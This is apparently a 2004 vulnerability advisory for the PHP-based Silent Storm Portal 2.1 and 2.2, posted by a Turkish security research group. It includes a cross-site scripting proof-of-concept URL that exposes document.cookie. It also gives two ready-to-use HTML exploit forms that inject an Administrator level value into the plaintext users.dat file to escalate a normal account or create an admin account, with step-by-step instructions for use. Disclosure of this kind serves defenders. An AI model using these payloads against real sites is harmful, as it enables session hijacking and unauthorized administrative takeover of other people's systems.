<<< Date Index >>>     <<< Thread Index >>>

Multiple Vulnerabilities in Silent Storm Portal




#####################################
# CHT Security Research-2004        #
# http://www.CyberSpy.Org           #
# Turkey                            #
#####################################

Software:
Silent Storm Portal

Web Site:
http://www.silent-storm.co.uk/ssp/

Affected Version(s):
2.1,2.2

Description:
Silent Storm Portal is a PHP based portal system.It requires PHP4 or above.no 
MySQL needed.

Multiple Vulnerabilities in Silent Storm Portal:

Cross-Site Scripting vulnerability : 

Silent Storm Portal is prone to cross-site scripting attacks. It is possible to 
construct a link containing arbitrary script code to a website running Silent 
Storm Portal . When a user browses the link, the script code will be executed 
on the user in the context of the site using the Portal.The impact of this 
issue is that the attacker is able to hijack a legitimate web user's session, 
by stealing cookie-based authentication credentials.

Demonstration:

http://www.victim.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E


Unauthorized Administrative Access Vulnerability :

Silent Storm Portal stores all account informations,usernames and passwords in 
the users.dat file.This file is a plaintext file stored in the db 
directory.There is a flaw in profile.php file which could allow normal members 
to gain escalated privileges.The issue occurs due to insufficient sanitization 
of user-supplied data that may allow escape character sequences to be injected 
into the users.dat file.Submitting an e-mail address with an evil level code 
via profile module will inject Administrator level value into the database file 
and will escalate the current level to Administrator privileges.

Demonstration:

Register a user account then login and run the exploit.html

---exploit.html----
<form method="post" 
action="http://www.victim.com/index.php?module=../../profile";>
<input type="text" name="mail" value="any@xxxxxxxx"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---

That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database 
file.
( 1: Administrator,2: is Normal User. )

examples from the database file:

before exploiting:

evilaccount<~>password<~>any@xxxxxxxx<~>2<~><~><~><~><~>
                                      Level
                                   Normal User
after exploiting:

evilaccount<~>password<~>any@xxxxxxxx<~>1<~><~>2<~><~><~><~><~><~><~>
                                 Injected Level
                                  Administrator

You'll get "Updated Your Profile Sucessfuly !" message after executing the 
exploit.html
That's All! logout and re-login with your username/password.
click to "Admin Panel" link. ( index.php?module=../../apanel )
Now you have full Administrator privileges.

Here is another code that creates an Administrator account directly on the 
victim's portal:

---exploit2.html----
<form method="post" action="http://www.victim.com/index.php?module=../../Home";>
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="any@xxxxxxxx<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---

----------------------------
The original article can be found at: 
http://www.CyberSpy.Org
(Turkish Language)